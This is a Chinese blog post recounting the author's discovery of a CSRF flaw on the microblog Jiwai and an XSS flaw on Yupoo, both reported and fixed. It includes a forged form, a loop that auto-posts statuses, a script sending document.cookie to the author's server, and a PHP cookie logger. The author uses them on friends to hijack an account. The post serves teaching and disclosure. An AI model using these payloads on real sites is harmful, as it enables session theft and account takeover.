無標題文檔

「安全那些事儿」

这段时期由于 找到几个线上的漏洞 ,勾起了兄弟们对于安全方面的兴趣。我也正好乘热打铁,做了个简单的分享( 在线观看 / 下载 )。主要内容有:

  1. 前端同样应该关注安全
  2. 典型的 Web 攻击方式(XSS、CSRF 等)

虽然内容不是很多,但结合实例,能让我们的组员能对安全这块的感兴趣,我想就已经达到目的了 :^)

叽歪的 CSRF 漏洞

声明,此漏洞已提交叽歪官方处理(2009-02-05),本案例仅作技术研究。由此漏洞造成的所有后果,本人不承担任何责任。

参加集团「精武门」安全峰会时, 80sec 团队对于饭否的 CSRF 蠕虫攻击 案例还记忆犹新。抱着对比的心态,逐个检测国内各微博客类站点的安全性能,最终「很不幸」的锁定到了 叽歪 上。

分析 叽歪页面发布信息页面 的表单,结果发现全部都是交给 updateStatus 方法处理,如图

https://friable.rocks/_/2009_02_05/1233811266.png

那么我们来看下 updateStatus 的脚本 是怎么写的(通过这个脚本,也可大体的了解叽歪的 API):

https://friable.rocks/_/2009_02_05/1233811318.png

发现 updateStatus 的脚本非常简单,就是检测下 textarea 的值是否为空(其实那样敲几个空格就可以绕过),然后就提交给服务器处理。而且逻辑上似乎有问题,返回的都是 false (或许是为了防止事件冒泡)。

既然 Javascript 方面没有增加额外的提交参数,这说明在 Javascript 禁用的情况下提交表单服务器那边也是能处理的。那么,根据叽歪发布页面的表单,尝试本地构建个同样的表单发送叽歪信息

<form action="http://jiwai.de/wo/status/update" method="post">
    <textarea name="jw_status" ></textarea>
    <input type="submit" />
</form>

结果成功了。这表明有存在 CSRF 的可能 -- 用户可以自行表单,发送信息给叽歪服务器处理,并且没有任何验证信息。

然后,非常「邪恶」地将 POST 方式改成 GET 尝试,结果发现又成功了。看来叽歪的接口没有区分 POST 和 GET,那么这样攻击的危害更扩大了层。

根据这个漏洞,简单的写了个本地 Javascript 脚本,尝试每隔一秒发送叽歪信息

setInterval(function() {
    var img = new Image();
    var message = '明城很帅';
    var api = 'http://jiwai.de/wo/status/update';
    img.src = api + '?jw_status=' + message + '&t=' + new Date().getTime();
}, 1000);

剩下就是社会学的范畴了。想到 沉鱼 小姑娘是叽歪的重度用户,于是让她打开这个页面(这时候,相貌是多么的重要)。

https://friable.rocks/_/2009_11_05/419606edd996.jpg

结果自然是预期所想的,顺便发现叽歪也没有限制发送信息的频率。就这样打住,通过这个漏洞进行蠕虫等进一步攻击等已是唾手可得。

最后,啰嗦下防范 CSRF 攻击 的「军规」:

  1. 在请求中使用 Security token
  2. 正确使用 GET、POST 和 Cookie
  3. 使用 Referer 判断请求来源

后记

截止发文时(2009-02-07),叽歪已经修复了该漏洞,增加了个 Security token :

<input type="hidden" value="..." name="crumb" />

Yupoo 的 XSS 漏洞攻击实录

声明:此漏洞已经提交到 Yupoo 官方。因此漏洞造成的任何后果,本人不承担任何责任。

偶然的机会发现 Yupoo 线上某页面有个 XSS 漏洞 ,它能执行任意的前端代码。

https://friable.rocks/_/2009_11_05/113846d10845.jpg

漏洞产生的原因主要有两点,首先是表单虽然定为 POST 方法,但尝试后发现 GET 参数也可以接收的;其次,也是最致命的是,输入的参数没有经过任何的转义和过滤,就被加入到了页面中。

https://friable.rocks/_/2009_11_05/742516d10846.jpg

于是插入了相应的 Javascript 代码,并构成了 XSS (参看图中 input 参数后面的 value 已经构成了 script 标签)。

弹出个 alert 框似乎并不能说明什么问题,最好能使它发挥威力。于是构建了个 Javascript 脚本传递客户端的 cookie 到本人的服务器环境。Javascript 脚本可以简单的这样写

var img = new Image();
img.src = 'get_cookie.php?var=' + encodeURI(document.cookie);

然后服务器端使用 PHP 简单写了个脚本保存 Cookie 数据

<?php
if (isset($_GET['var'])) {
    file_put_contents('./cookie/'.time().'.txt', urldecode($_GET['var']));
}

接下来就属于社会学的范畴, 我在 Twitter 上 发了信息并「引诱」朋友们去点击伪造后的连接(我承认很猥琐)。

https://friable.rocks/_/2009_11_05/574966d10846.jpg

不一会就收集了某兄弟的 Cookie,于是将其 Cookie 内容填到了本地浏览器上(谢天谢地,Yupoo 的 Cookie 不是很多)。

https://friable.rocks/_/2009_11_05/427946d10847.jpg

再次刷新浏览器,已经使用该用户的帐号登陆了(即便此时我还不知道他的密码)。

https://friable.rocks/_/2009_11_05/881866d10848.jpg

https://friable.rocks/_/2009_11_05/826286d10848.jpg

最后,使用此帐户发张本人的艳·照,纪念下…

-- Update --

截止 2009-01-14 16:25 , Yupoo 已经修复了此漏洞,效率真高!赞!

-- Split --

总结:上述攻击的手段,仅仅是从个不起眼的 XSS 漏洞开始。XSS 虽然发现快、修补也很方便,但从根本上避免还是个值得研究的课题。

Web2.0 大潮已降, 前端正在改变这这个世界 。前端代码的安全问题,是每个前端从业人员必须去面对和注意的。

我的照片

嗨!我叫「明城」,八零后、码农、宁波佬,现居杭州。除了这里,同时也欢迎您关注我的 GitHubTwitterInstagram 等。

这个 Blog 原先的名字叫 Gracecode.com 、现在叫 「無標題文檔」 。 要知道作为码农取名是件很难的事情,所以不想在取名这事情上太费心思。

作为八零后,自认为还仅存点点可能不怎么被理解的幽默感,以及对平淡生活的追求和向往。 为了避免不必要的麻烦,声明本站所输出的内容以及观点仅代表个人,不代表自己所服务公司或组织的任何立场。

如果您想联系我,可以发我邮件 `echo bWluZ2NoZW5nQG91dGxvb2suY29tCg== | base64 -d`

分类

搜索

文章